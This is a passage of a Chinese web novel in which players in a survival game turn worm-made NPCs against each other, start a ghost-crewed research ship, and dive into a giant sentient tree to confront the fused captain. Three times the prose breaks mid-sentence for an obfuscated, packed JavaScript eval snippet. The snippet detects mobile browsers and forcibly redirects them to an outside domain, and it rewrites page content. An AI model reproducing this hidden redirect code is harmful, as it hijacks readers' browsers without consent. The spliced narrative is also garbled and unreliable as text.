那时候，不同副本内的‘智树’将能够互相沟通和协调，神经网络彻底成型，整颗星球都开始像人类一样思考！” 她的这一番猜测无疑意味着，一旦最终boss成功复苏，他们的敌人将会是整个星球那种量级的智慧生命！ 到了那时候，人类在它面前会成为真正意义上的蠕虫。 绝不能让boss复苏完全！江显打定了决心。 听她作此解释，陆寰也意识到了事态的严重性。 然而现下他们却没有任何办法能够阻止巨树的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14228944|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复苏。 “或许，我们唯一的机会在那个‘完成所有支线任务得到通关答案’的奖励里。”沉默许久后，陆寰说。 江显对他的分析表示赞同。 她再次刷新自己的任务面板，查看支线任务3的进度说明。 【支线任务3：重归风浪之日】 【成功启动科考船并驾驶其行驶海上：0/1】 【解除除了向导、幽灵外全部船员的执念：2/14】 【支线任务奖励：通关方法】 那已经消失的2个执念显而易见是属于汉斯和杰克的。 江显不禁感叹于这解除方法还真是朴实无华，原来是直接用物理超度的。 但现下时间极其紧迫，他们必须在今晚完成所有这些任务；否则明天一旦主线第二阶段开启，谁也说不清彻底复苏的巨树会留给他们多少时间。 逐个击破显然是不现实的。他们小队的战斗水准对付对付果实和树还好，对上一大群会变异的npc显然就不够看了。 退一万步来讲，就算他们足够强悍且幸运，能够一枪一个破坏“蠕虫大脑”，也不可能在不惊动其他目标的情况下把16个npc都解决。 目前他们还处在“捉迷藏”阶段无法离开船上。而这里地图空间狭小，一旦被包围后果不堪设想。 江显思来想去，觉得突破口还是在那个叫做【嗜血】的技能上。 她重新打开【影像档案】查看。 【嗜血】：被它们视为同类的血会让其兴奋，进入无差别攻击的狂暴状态。 什么叫做“同类的血”？江显疑惑不已。 所有npc都没有血，这是她在第一天就得出的结论。她上哪儿找血去？ 她将那行描述反复检查，最终将疑点锁定在“被它们视为”这几个字上。 难道……这些由蠕虫重组的npc们还将除他们自己以外的其他东西视为“同类”？ 于是江显转向那个幽灵：“你还认为那些曾经的朋友们是‘同类’吗？” 幽灵们不假思索地回答：“怎么可能？！他们早就不是自己了！“ ”他们只不过是空有人类皮囊的怪物罢了！是冒牌货！” “他们是虫子！无论是否拥有记忆，都是冒牌货！！！” 面前的三张脸七嘴八舌地说道，眼神里充满不屑。 江显不甘心，继续问道：“那你认为，他们会将你们视为同类吗？” 这下幽灵们迟疑了片刻。 “听起来也不是不太可能。”最中间的那个幽灵说。 江显来了兴致。 “他们想要让那些蠕虫吞噬我们，或许便是一种对于同类的同情和帮助。或许他们认为昔日的同伴应当和他们一样向着更高层次的生命形式进化；或许在他们看来，我们选择自杀的行为才是愚不可及。” “可是……”幽灵发出了悲怆的叹息，“他们又如何能笃定地认为，‘他们’还是‘他们’？他们又如何笃定是原有的意识在蠕虫携带物融入后得到了升华；而非蠕虫连同他们的身份记忆和过往一起抢占？” “忒修斯之船是否是其本身，尚且是个争论不断的议题；又何况这只是一艘由蠕虫浆糊堆砌而成的赝品？” “真可悲啊，他们坚持认为自己只是全身都得到了进化，□□在不断的‘复活’中永生，意识没有被替换。仿佛不曾考虑到，他们本没有过去，或许连记忆都是假的。” “他们以为自己是人类，其实不过是虫子。” “原来是这样。”江显点点头，“我明白了。” “你明白什么了？”陆寰看着她。 “对付那些怪物的方法。”江显扬扬眉。 29. 失落之海29 如果说先前江显还只是有几分猜测，那么现在她可以说是十拿九稳了。 陆寰好奇地看向她。可是江显有意吊他胃口，没一点要说的意思；他抓心挠肺，却也只得作罢。 这可太江显了。陆寰心想。每次都在思维上一骑绝尘，丢下其他人一脸懵。 “你是想对那个幽灵船员下手，因为怪物npc们可能把他当作同类？”陆寰表示质疑，“可是那没有用，幽灵不可能有血，不能满足那个技能效果的触发条件。” 她不会是打算逼迫幽灵变点血出来吧？它们连实体都没有，这和缘木求鱼有什么区别？ 陆寰一边想着一边偷偷打量那三个毫不知情的幽灵。为了避免被当事人听到，他刚刚议论得很小声。 “只是问问而已。”江显说，“又没让他给我免费献血，我又不是星际某些无良学校。” 陆寰无言以对。 “那我们现在怎么说？” 江显回答：“向导不在船上我们少了一大威胁。现在咱俩分头行动，你在隐藏身份的前提下把所有怪物npc都聚集到餐厅里去；我去厨房通知苏乐前往集合地，然后去餐厅和你会合并解决那些npc。” “之后呢？” “之后我们回到这间驾驶舱，让3个幽灵船员帮我们启动和操控科考船。这样等到天亮时我们就完成了支线任务3。至于第二阶段星球的意识觉醒怎么解决，这得看任务奖励的通关方法。” “好。”陆寰爽快地答应了这一作战计划。 俩人沿着楼梯重新返回生锈铁门那儿。 陆寰突然说：“在这之前，我还有一个疑问。” 江显回过头：“什么？” 她站在比他高几级的台阶上，转过脸时正好看到昏暗里陆寰在仰头看她，染了光的额发向旁滑去，露出那双清澈的眼睛；眼里带着探究和某些更为隐晦的情绪。 于是陆寰问道：“为何如此笃定，一颗产生自我意识的星球对于整个副本而言是毁灭性的存在？” 江显愣了一下。 “我不知道。”她坦诚地说，我宁愿相信它不是——如果它可以沟通的话。” * 时间回到现在。 江显用那把利刃割破了自己的手肘。 刀刃划破皮肤，鲜血顺着她的小臂淌下来，像是一条溪流。 一瞬间，所有的npc都朝她转过脸来，直勾勾地盯着她看。 “同类！”其中一个npc喉咙里发出咕噜咕噜的声响。 “同类！有血的同类！”更多的npc开始低语。 江显听到了一声又一声“精神波动上升”的提示，她攥紧了拳头将整条手臂甩了个圈，血滴便朝着那些怪鱼群中四散过去。 怪鱼们像是见到了肉的恶犬，争相朝着那些血滴飞扑过去。在短短几秒钟的时间里，鱼鳞遍布了他们全身，在餐厅的灯光下闪着密集的光。 江显从中央那张桌子上一跃而下，头也不回地朝着大厅的方向跑去。她没有刻意去止血，奔跑时血滴在身后甩出一条完全而连贯的线。 撕咬声和咀嚼声从她身后传来，桌椅翻倒又四分五裂的巨大噪声充斥着整个空间，显然是【嗜血】技能发动了。江显知道自己没有猜错。这些船员npc们仍然在潜意识里认为玩家和他们是同类。 江显绕着跑过那些置于她面前的阻碍物。这么短时间内的速度爆发让她喉咙里弥漫着腥甜血气。现在餐厅出口就在她眼前，仿佛她一伸手就能触摸到。 她知道身后那些npc已经全都变成了一条又一条的【裂齿鬼鱼】，发了疯似得扭打在一起，因此她对自己的处境并不如何担心。 但她却看见门口迎接她的苏乐脸色焦急，仿佛她身后跟了什么恐怖的东西似得。 “快！”苏乐在门口担忧地大喊。 她看在眼里急在心里：江显已经撤得够快了，但还是没能甩掉她身后那条怪鱼npc。在她割开手臂时那条怪鱼和其他同伴间隔了一段距离，离她太近。因而它直接被她的鲜血吸引过来了。 凌空之声响起，江显下意识朝前跃去，堪堪躲过来自身后的袭击。她恰好听到鱼尾落地的声响在身后几步处响起。 苏乐迎上前去抓住江显的手肘，不管三七二十一就往自己这里拉。过猛的用力让俩人失去平衡一起摔倒在门框上。 “小心！它追出来了！”陆寰一边开枪一边喊道。 但是他还是慢了一步，中弹后的怪鱼npc没能立刻死亡，而是在重伤后爆发出惊人的力量。它借助鱼尾的弹力，再一次在空中划出一道弧线，炮弹一样弹射过来！ 江显反应奇快。在听着身后的鱼尾拍地声时，她立刻用力把倒在地上暂时难以动弹的苏乐推开，同时自己向另一边翻滚躲闪。 狼狈地滚了好几圈后她重重撞上了墙根，这才稳住了身形。她的手枪在刚刚的躲避里滑走了，现在她可谓手无寸铁。 怪鱼一击落空，在巨大的声响里摔在地上，紧接着它开始扭曲和抽搐，直到鱼的鳞片和骨肉都像是墙粉一样簌簌剥离，化作一团黑色的水。现在地上除了一团粘腻蠕动的蠕虫大脑外再无他物。它在地上尖叫，刺耳凄厉的声音折磨着所有人的耳膜。 陆寰见状冲过去把那扇铁门关上，然后铁锁重重落下，沉闷的声响让大家踏实不少。有这铁家伙当道，现在餐厅里的那些怪鱼终于不足畏惧了。 江显忍痛从地上爬起来，觉得这一撞身子骨都要散架了。但她不敢有丝毫停顿，飞速地抄起一旁地上被撞飞的枪，换弹夹给那团“蠕虫大脑”补了几下。 先前的经历给她留下了严重的心理阴影，此刻面对这样的本体她丝毫不敢大意。 子弹穿透了“蠕虫大脑”的中央部位，高温将周围的组织灼烧炭化，凄厉的声音戛然而止。 终于，它不动了。 “我们，这是杀死它了？”苏乐战战兢兢地站起来。 、 刚刚看到怪鱼npc飞来时她其实怕得要死，恨不得能跑多远是多远。她也不知道她的身体是怎样做到违背这些本能下意识拉江显一把的。大概她内心深处也觉得自己欠了江显太多人情，关键时候一走了之就太卑鄙了吧。 原本柔软而不断形变的蠕虫大脑已经变得干枯和坚硬了，然后它就那样无端碎裂成无数块，像是纸糊的那样。 “没事了。”江显送了口气。 “你出血了！”苏乐看着江显小臂上不断淌下的血迹想要帮她包一下，但转念一想自己准还没有别人专业，又停了手。 “是头静脉，不是动脉。问题不大。”江显毫不在意地摆摆手，只是把出血处摁住。 三人旋即凑到铁门上的小窗那儿观察餐厅内的情况。 餐厅里此刻宛如地狱。怪鱼们用鱼鳍刺、用尖牙咬，最后彼此用鱼尾纠缠着翻滚起来。血腥的肉搏里鱼鳞散落一地，到处都是它们的断肢残臂。 短短几分钟内，怪鱼们的自相残杀已经接近尾声，残缺不全的碎肉块。它们垒叠在一起，化为一堆白色的蠕虫，然后一如果实那样枯萎。 现在桌椅的废墟之间只剩下一滩滩黑色的液体，仿佛先前的一切只是一场噩梦。 “真可悲。”江显淡淡地说，“即便是变成这样了，他们依旧认为自己和我们是同类。” 白色蠕虫在感知到同类后会迅速激发出某种杀戮的本能，一心想要吞噬对方；而每种生命形态伪装下的它们似乎又完美地进化出了某种自卫机制来避免这一惨案的发生—— 果实态利用包膜果壳来彼此隔绝；树木态将枝干分散向四周互不干扰；而人形态则是让血液消失从而避免受到刺激。 它们的本能是那样原始而残忍；却又因着某种无人能够解释的原因，生出彼此相安无事的边界和外壳。它们就存活在那样一个微妙的平衡稳态之中。 “终于结束了。”陆寰感慨道。 【支线任务3进度提示】 【解除向导和幽灵之外全部船员的执念：14/14】 【成功启动科考船并驾驶其行驶海上：0/1】 江显看到任务提示，心情却并未见轻松多少。有那三个幽灵的技能他们确实不愁船的启动，可是那之后呢？她着实想不通，支线全通奖励会给她怎样的通关方法。 向导此刻必然已经前往了巨树那里，不知在巨树完全复苏后他又会产生怎样的变化。他在小boss形态时江显都没有把握能打败他，现在更没有底。 就在这时，整个船身猛地一晃。 三人同时一趔趄，皆惊疑不定地看向震源传出的地板。 【最终boss复苏进度：96%】 “来不及了！”江显喊道。 她一个箭步冲向大门摔上了门。可是还是太晚了，鱼群摆动着身体从没关的窗户里涌了进来，鳞光闪闪像是一道道银线。它们蹦跶到地上扑腾身体，劈里啪啦发出古老爆竹的炸裂声响。整个地面都蒙上了一层潮湿的水迹。 江显没有时间多想，对着地面上那些鱼就是一通连射；鱼群消失后，很快现出原形的白色蠕虫团也在弹雨里碎裂和枯萎，地面上到处都是大大小小的弹坑。子弹四散着嵌进地板里，像是一只只空洞注视他们的骷髅眼睛。 地面正在剧烈震动，那并不是那些怪鱼造成的，而是巨树正控制着整片整片的森林在狂舞。 “咚！” 巨响是从大门外面传来的。 三人循声望去，就见鱼群构成的浓云霎时间被撕碎和破开，取而代之的是密密麻麻的枝条。它们像是水蛇一样扭曲和缠绕，一进窗户就四散开来。 整个船身倾斜过来，随即又短暂复原。紧锁的餐厅铁门上炸开连续巨响，那是餐厅里的桌椅滑行后反复撞击上去。 然后汹涌的海水抢过鱼类和树木的道路漫了进来；室内开始积水，奄奄一息的鱼和折断的枝干到处漂浮，随着水流激荡冲刷着地面。整个船舱内就像是一处正在倾倒废物的垃圾场，支离破碎的残片混合着挤压下来，要把一切都埋没。 “躲去地下驾驶舱！”江显喊道，“我们需要尽快启动这艘科考船！这是我们唯一的生机！” 眼下那些缠绕着船身的树木正在崩解，海水取代这人造的翠绿覆盖层重见天日。很快海浪就会扑过这艘沉睡已久的老旧船只，它在整片星球的汪洋之中渺小得和一尾鱼没有任何区别。 在这种情况下往高处逃是无用之举，充其量不过延缓片刻他们的死亡罢了。唯有启动整艘船才能让他们活下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14235535|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三人在剧烈摇摆的大厅里犹如摇摇欲坠的孤舟。江显俩手各拉一个，陆寰则眼疾手快地抓住了楼梯台阶上的扶手。 更为猛烈的震动从地下袭来，整艘船濒临失衡。它似乎正卡在一处树根上，一端正不停地翘上高空，另一端却止不住地滑入深渊。 下一瞬，整艘船都垂直了过来！ 三人宛若一串风铃似得悬挂在了那岌岌可危的楼梯扶手上。 “抓牢了！”陆寰朝另俩人大喊。 好在下一刻一个浪头打来，船身朝着相反方向倾斜。 翘起的一端重重落下，三人像是巨浪里被扔出水面的鱼群一样狠狠摔在了地上。他们没有时间休整，在及膝的海水里一番摸爬滚打抵达了楼梯下的小门口。 江显终于触到了地下驾驶舱的门把，她从口袋里掏出钥匙，转动锁孔。 “都靠过来！”她喊道，“我们必须在开门后立刻关上。否则很快大厅里的积水会把整个船舱都淹没。” “下面我数数。1，2，3！” 江显猛地拉开了小门，手上一转飞速拔出钥匙。陆寰和苏乐俩人在零点几秒的时间里挤入房间。然后积水像是找到了一个宣泄口一样推着他们往里走，在失去平衡之前江显用尽最后的力气关紧门。 于是三人随着海水一起顺着楼梯滚下去，活像是被潮水冲上岸的死尸。江显也顾不上浑身湿透，连滚带爬凑到那三个幽灵穿越飘浮的蓝色影像前。 “快开船！”她喊道。 “为什么？”幽灵船员问道，“和整艘船一起沉没在这个变质的世界里，不也挺好？” 好个屁，江显压根不想死。 “开船！”她失去了耐心，朝那三个幽灵吼道。 幽灵没有动，只是淡淡地注视她。 江显抢过那些控制器的按钮一阵猛按。可是没有用，没有一盏信号灯为她而闪烁。看来确实唯有这三个幽灵的的【掌舵】技能才具有操控这艘船的权限。 楼梯上方那扇铁门正发出闷重的声响，显然一楼大厅海水正越积越多，恐怕过不了多久那扇门就要不开重负。 为什么不开船？这些幽灵到底是什么毛病？还有什么是她漏掉的？还有什么是她漏掉的？江显脑子里飞速运转。 幽灵们厌倦了这诡异的一切，也厌倦了自己依附于科考船系统的日子，他们想要终结。这她完全可以理解。但是有没有是能够引起他们注意、还值得他们去追求和寻找答案的？！！ 如果说巨树的本质是那些蠕虫模拟生物电信号构成的东西，那么它到底和向导达成了什么样的交易？向导这么做是为了什么？阻止他的船员们死去和消失吗？ 快想啊！快想啊！ 向导现在去巨树那里到底是为了什么？把自己“献祭”给巨树吗？最终boss的完全复苏到底和他的目的有什么直接？ “一个人死了，依旧可以活在别人的意识里。”她脑中飞速掠过向导这句无疑的感叹。 千钧一发之际，江显忽然明白了。 “霍列斯从来都没想过让你们消失。”她说。 原本还一副视死如归模样的幽灵们愣住了。它们的影像上出现了卡带一样的块状马赛克。 “蠕虫组成鱼类、组成树木和果实、模拟着电流活动组成一切，但在早期时它们尚未获得过人类的脑电波，所以未曾真正意义上地学会过思考。” “直到汉斯意外被那些果实里的蠕虫吞噬。自此，它们开始习得人类的智慧和技能。它们想要用这种方式更多地了解人类，以此真正构建出属于自己的巨型神经信号网络。” “你们被遗弃在这颗星球上，断了补给和联络，如果没有奇迹发生的话迟早会有走到尽头的一天。但霍列斯不愿相信也不愿目睹你们的离开，你们在这里一起朝夕相处了近20年，任何一个人无法轻易地和其他人分割开来。” “汉斯的死亡更是催化了他的这种悲愤之情。于是在发现自己亲手栽种的树木有思想之后，他和巨大的‘智树’达成了交易。在这项交易里他会放任蠕虫们将你们吞噬和解析，但前提是蠕虫要将你们以原型重构。” “巨树同意了他的提议。” “交易，然后各取所需，这是它从它解析的人类那里习得的技能之一。” “这就是真相。你们全都存活在霍列斯的世界里。否则早在许久以前就连意识都荡然无存了。” 陆寰在一旁补充道：“我们看了你们写的日记，你们亲口说的‘霍列斯是个好船长’。” 他的话显然更具某种让人相信的神秘力量。 右边那个幽灵惊疑不定地抖动了几下：“他管这叫活着？连自己是谁都不知道也能算是活着？” “你们可以亲口去问他。”江显知道自己切中了要害。她狡黠地避开幽灵怒气冲冲的视线，“他就在巨树那里，早在几个小时前就过去了。但是现在森林异动让海水淹没了一切，你们只能驾驶船只去当面对峙了。” 幽灵船员脸上光点频繁跳动几下，仿佛心里正经历着激烈的挣扎。 随后，像是下定了某种决心后，最中间的幽灵微微动了下。 它就那样飘到操控大屏前去了。 “滴——检测到操控权限，船只启动中——” 30. 失落之海30 控制灯一盏盏点亮，仪表板的指针开始轻微的晃动。 【排水系统已打开】 【涡轮启动】 【发动机已启动】 一声声的提示音里，整个驾驶舱内流光溢彩，像在奏响一首交响乐。 控制大屏上数据和波形开始流动，犹如死寂的心电监测和脑电图重新振作。 然后蓦地，整个船身一轻，仿佛是卸去了巨大的负担。 一瞬间的失重感传来，船身晃动俩下，化作挣脱了渔网的一尾游鱼，重新没入了汪洋之中。 “船！船开起来了！”苏乐惊呼。 横亘在驾驶舱前面的枯木在巨大的动力之中被挣碎，重重的枝干也挡不住船头前行的势头，断裂的枝叶不断地向四周崩解。然后阴暗逼仄的驾驶舱在一瞬间被强光所填满，阳光穿透错综复杂但已松动的树根后又穿透挡风玻璃，忽如其来的明暗变化让江显下意识挡住了眼睛。 能够掌控整艘船航向的驾驶舱从来不在阴翳的地下。它在树根缠络之间等待了太久，像是囚笼之鸟又像是缸中之鱼，此刻终于迎来了重见天日之时！ 它终于破开那不存在的土壤，重归于翻涌不尽的海浪之上。 周围仍然有狂怒的枝干在舞蹈，不断掀起巨浪。但江显看向前方那些在视野里不断放大的爪牙全无惧色。她知道自己能够熟练运用它们的弱点将它们一寸寸击溃；没有神智的虚假树木囚不住一艘海浪里的船，每一次落下的牢笼都只能无功而返。 于是他们灵巧地迂回在一丛丛簇拥的树根和暴动的树枝之间，从弯折的树枝间隙下穿过去，又借着飞上天空的浪潮越过拦路的树根。 【最终boss复苏程度98%】 “躲开那根掉落的树干！”江显兴冲冲指挥着。 她喜欢这种乘风破浪的刺激感觉，一切无坚不摧的东西似乎都在朝她挑衅，而她岿然不动，目睹着那一切在她眼前分崩离析。 “我知道。我看见了。”幽灵船员蓝色的脸上闪过少许不耐烦之色，“我的意识接入了船上的控制系统，这艘船的每一个部分都像我身体的延申，我能够清楚地知道每一个部件的运转情况。” 江显有些讶异：“那么，你究竟是操控船的人，还是一艘有人意识的船？” “或许二者兼有吧。”幽灵船员沉默许久后说道，“即便保全了自己的意识免受侵害，我却依然没能逃避变成一艘船的命运。一艘忒修斯的船。” 他们在树木构成的荆棘丛里畅行无阻地驶向最终目的地，他们前方的森林迎风招摇一样迎上他们，然后纠缠着被他们抛向身后，土崩瓦解。他们正在树影阴翳和阳光流转的间隙一点点摘下绿松石星那顶华贵的虚假冠冕。 【成功启动科考船并驾驶其行驶海上：1/1】 【支线任务3已完成】 【玩家江显、陆寰、苏乐成功完成副本里全部支线，获得通关方法以资鼓励！（此公告全体玩家可见）】 江显立刻拖动副本进度查看通关方法。 【通关方法：与船长（向导）霍列斯进行一场面对面的关乎灵魂对话】 这种紧要关头，通关方法是谈话？ 【最终boss复苏进度99%】 江显彻底懵了。系统是不是想说面对面关乎灵魂的对抗？？ 现在已知霍列斯在巨树附近，可是到底在哪儿呢？像先前那天晚上一样在树下？还是在巨树树冠上，他的举动又会给巨树、副本乃至成千上万的副本带来怎样的影响？ 霍列斯究竟做了什么，才能使得最终boss完全复苏？ 最终boss又特殊在哪儿? 江显打开她控制面板上的【病变记录】来查看所有怪物形态。现在已知这个副本里的怪物有四种级别：船员——普通小怪，汉斯和杰克——精英怪物，船长——小boss，完全觉醒的巨大“智树”及其操控下的附属——最终boss。 白色蠕虫不是怪物，它们似乎被算成了这个超自然副本里的某种固有生物。但上述无论是哪一种怪物，都曾和白色蠕虫拟态循环中的某一阶段融合过。 而融合后，蠕虫们会以“通俗意义上智慧更强”的那一方为拟态外观。 汉斯和杰克与果实态融合，怪鱼船员与鱼形态融合，船长和树………… 船长要和那棵巨大的树融合！ 江显一瞬间豁然开朗。 霍列斯的确会是那个最强的刺激。在这场名为“献祭”实为追悼的戏剧里，他策划和驱动了一切。 他很早就开始和巨树融合了——作为这场交易的一部分。只不过一直较为保守和谨慎，没有全部融合。唯有这样才能解释为何在一整片森林里只有那一棵树具有远超同类的智慧，并能成为整个副本的控制中枢。 它领导和号召着森林，就像船长给他的队员们【广播】。他们之间一直存在着这样的相似之处。 而最终，他要让树吞噬掉自己的所有记忆和电活动，促成整个星球上模拟大脑的神经系统成熟。那时副本与副本之间不再存在壁垒，或许根本也不再有副本存在。而所有的npc都将脱离系统的掌控，作为这颗星球流动智慧的一部分而存在。 吞噬！他会在哪里被吞噬！？ 江显忽然想起了那些树木里柔软而粗壮的内置肠道。她意识到自己一直以来都走入了思维误区。这里的一切“吞噬与消化”都与现实里的含义不同，从来不是对于物质而言，而是指在精神、意志和智慧之上。 管道的尽头，并没有什么像是人胃一样的消化器官。 “船上有潜水服吗？”江显问幽灵船员。她心里已经隐隐有了大致计划。 “有的，在船员住宿那一层仓库的柜子里。”幽灵仅仅思考几秒就回答说。 “你还真是无所不知！”江显感叹。 “那只是因为仓库里恰好有监控。”幽灵船员叹了口气地说，“我只是一个，依附电流而存在的幽灵啊。” “你又想到了什么办法？”一旁的苏乐尚且不知道通关方法是什么。她甚至觉得自己掉线太久，还懵着呢江显却已经付诸于行动了。 “进行一场友好的面对面外交谈判。”江显说着就去仓库里找衣服了。 潜水服并不难找，江显拿齐装备后在自己房间进行穿戴。防水材质紧缚着她的肢体，她觉得自己像是被塞进包衣里的一段腊肠。 她把潜水镜、氧气瓶都装好，觉得自己霎时间和世界隔了朦朦胧胧一道屏障。 不久之后，他们随着船一块来到了巨树的树根之下。 眼前足有人腰粗的树根纵横交错，将翻滚的海水阻拦住。从四围涌过来的浪潮激烈对撞，无数股水流被撕裂后又再度重组，形成树根下飞速旋转的巨大漩涡。 “打开驾驶室的船舱。”江显对幽灵说道。 “说好的带我去见霍列斯。“幽灵对她的出尔反尔表示抗议。 “我把他带过来。”江显说。 “这话当真？” “当真。” 于是幽灵启动了按键。 “你要干什么？”苏乐惊恐地看着江显一步一步朝舱门处走去。 封闭门缓缓打开，海潮呼啸的声响随着飞溅起的海水一起闯入舱内。 江显一身全黑的潜水服，戴着捂住整张脸的潜水面罩。她朝舱外探出头，正好看到那些水流汇集成的空心长锥。现在她注视着漩涡的另一端，仿佛是在凝视深渊。 她稍作停顿，毫不犹豫地跃入巨大漩涡之中。很快溅起的水花就被回旋的浪所吞没和覆盖。 苏乐想拉她但扑了个空，旁边陆寰立刻拦住她，冲她摇摇头示意。 苏乐不明白。 每次遇到问题，江显都是那个最聪明最先想出解决之策的。她一边嘴上说着毫不在意的丧气话，一边不停地对局面进行飞速分；然后又总是以身涉险去验证自己的猜想。明明他们三人才认识三天，她却做什么都要拼尽全力地冲在前头。 苏乐知道自己向来对人抱有天真和美好期待，但她还没有傻到会认为江显这样做的这一切是为了帮助他们这俩个萍水相逢的队友、乃至所有副本里那些未曾谋面的玩家。 她并不是秉持着悲天悯人之心去拯救玩家，她只是……出于某种极强的执念想要尽快回到现实，才一马当先在前面开拓。 到底是有什么支撑着她不断前行，赌上性命也要离开副本？ “她会没事的。”陆寰一副完全信任的模样，“我们就在这里等吧。” 苏乐将信将疑地看着舱门闭合。她只恨自己太过弱小，什么也做不到。 * 江显潜入了海水之中。 水流不断冲刷她的身体然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285198|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又四分五裂，她觉得自己像是飘摇的一叶小舟。 借着潜水镜上的微光，她能够看到眼前的场景。 水下，树木的根系像是巨网一样交织重叠，构成了无数的洞窟。无数的鱼被网在了根系交错之间，很快又从她视野里消失不见。 当时他们在林间探索，果实就是滚入了根系形成的通道中消失不见；涨潮时突然冒出又消失的鱼也是被根系卷回海中。 江显的目光密密麻麻的洞窟之间飞速寻找着。它们像是滤网上的筛孔，把关于失落之海的一切真相都拦截在了地下；而她要找的是整张滤网的破绽。 前方出现了一个巨大的洞口，那个位置和她地图上的“异常高密度”白色区域恰巧重合。 她突然隐约知道那些白色提示的是什么东西的密度了。 “意识”的密度，或者说，蠕虫所模拟的电活动剧烈程度。 这也是为何中央的巨树呈现出最高的“异常”，因为它不仅和向导部分融合，还具备着成为所有副本中枢的潜能。 就是那儿！ 江显不断调整着身体姿态避开那些那些根系防止它们的进攻。她艰难地朝鱼群消失之处游去了。 在她抵达那里的一瞬间，一股强力的吸力将她笼罩。本就微弱的照明光亮也随之熄灭。 周围一片漆黑，即使是有潜水装备辅助她也感觉到呼吸困难。大概是缺氧的缘故，她的思维开始迟滞、意识变得模糊，一切念头都被浸没在了粘稠的黑暗之中。 江显觉得自己仿佛正在通过一个时光的隧道，往日那些刻骨的回忆正迎面涌上她。 她清晰地记得那是一个群星闪耀的夜晚，无数天体在夜空里呈现出翻倒调色盘一样的混合色彩，笼罩着山脉和陆地。 她从天上掉到地下，宇宙在她眼里失焦，只剩下散发着模糊光晕的黑色底片。很久以后她才知道，那就像是人体在射线下所成的影像。 救援队从逃生舱里拖出了她。江显惊恐地望着天的尽头那片熊熊燃烧的火场，它像是不久前从太空里坠落地球的陨石，可还没落地就把自己摔碎了。 江显在混乱和茫然中，冷静地接受了全部调查和记录。她连一点眼泪都没有流，对面问什么她答什么，像是一具预设好的机器。 那段记忆太过嘈杂，像是老式收音机里意义不明的播报，像是报废电视机上满屏的雪花。年幼的江显觉得自己成了一张滤网，拼命要将那些杂质过筛走。她想化作一只固定调频的接收器，只能接受她自己所选择的波段。 “好……可怜的……小姑娘…………父母全……在那艘飞船上……” “从那……么高……的地方摔下来…………” “……把唯一的逃……生舱留给了她……” 现在那些魔鬼一样的低语重新找上了她，江显觉得自己像是在漆黑的深海里快要溺毙的落水者。她推开那些如跗骨之蛆的恶鬼，奋力挣扎着要冒出水面。 “不是我害的！我没有杀死我的父母！”她高声呐喊。 恶鬼没有打算放过她。 “他们……把唯一的救生舱留……给了……你。” “如……果不是在你生日时……去太空旅游，他们就不会……登上那班飞船……” “你……是你……害死了他们……” “不！是有人要蓄意谋杀他们！因为他们接收到了宇宙里的异常电磁信号！我这些年来没有忘记！我一直在追查当年的真相！”她坚定地喊着，试图压过那些低语。 “离开这里。我要离开副本回到现实。”江显一遍遍在心里默念。 她的默念起效了。恶鬼化成腥臭的黑色液体流走了，摇身一变，迎面走来的变成了穿着白大褂的斯文医生们。 他们皱着眉头，彼此之间交流讨论着什么。 “从没见过这么离奇的尸检结果。他们体内的放射性物质浓度达到了可怕的地步。他们到底去过了哪儿？” 记忆像是一条河一样从她眼前逆流。江显看到了很多——阴冷的医院长廊、肃穆的追悼会，以及…… 她看到自己丢失了灵魂一般漫无目的地走在街上，看到自己浑浑噩噩地在行人中间发呆。有一天她爬上家里楼顶的天台，正好看到群星朝她眨眼。 然后她的光脑亮了亮，收到了一条匿名消息。 【好久不见】 31. 失落之海（终章） 江显蓦地睁开眼。 头脑已然恢复清明，她从地上爬起来环视一番，头顶和脚下都满是细密的木纹。此时她周围已经没有那些逼仄的管壁，而是一片密闭平台。江显猜她或许正在树冠上树干内的某处。 然后脚下一阵摇晃，有树叶从高处飘落。 出现在江显面前的不是什么巨大的消化器官，而是一个硕大的大脑。 它足有成人大小，饱满而闪着光，表面遍布着细密的脑沟和脑回，通体花白油腻仿佛真的由脂质构成。 巨树的“消化器官”不是胃也不是粘液，而是这个现在融合了霍列斯意识的蠕虫大脑。正如她刚刚所猜想那样。 江显知道自己又一次赌对了。 她毫不畏惧地与那颗大脑对视，等待着对方的动作。 “你来了，江显。”巨型大脑说道。 江显注视着它，它只是一颗单纯的大脑，没有视觉器官也没有听觉器官，连嘴也没有。 江显讶异：“你早就识破了我？” “我队伍里所有成员都在我的意识巨网上熠熠闪光。在我发动【广播】的时候只有你们毫无反应。” 江显被他这句话噎住了，先前组织好的一切措辞都梗在喉咙里。 “你一定很想问我，为何明知你们是假冒的却不解决你们，放任你们在我的船上肆意破坏。”巨型大脑微微舒缩了一下，“在此之前，你们又是否有想过，副本的最终目的是什么？” 江显点点头又摇摇头。她试图分析过，但所有的假设都解释不通。 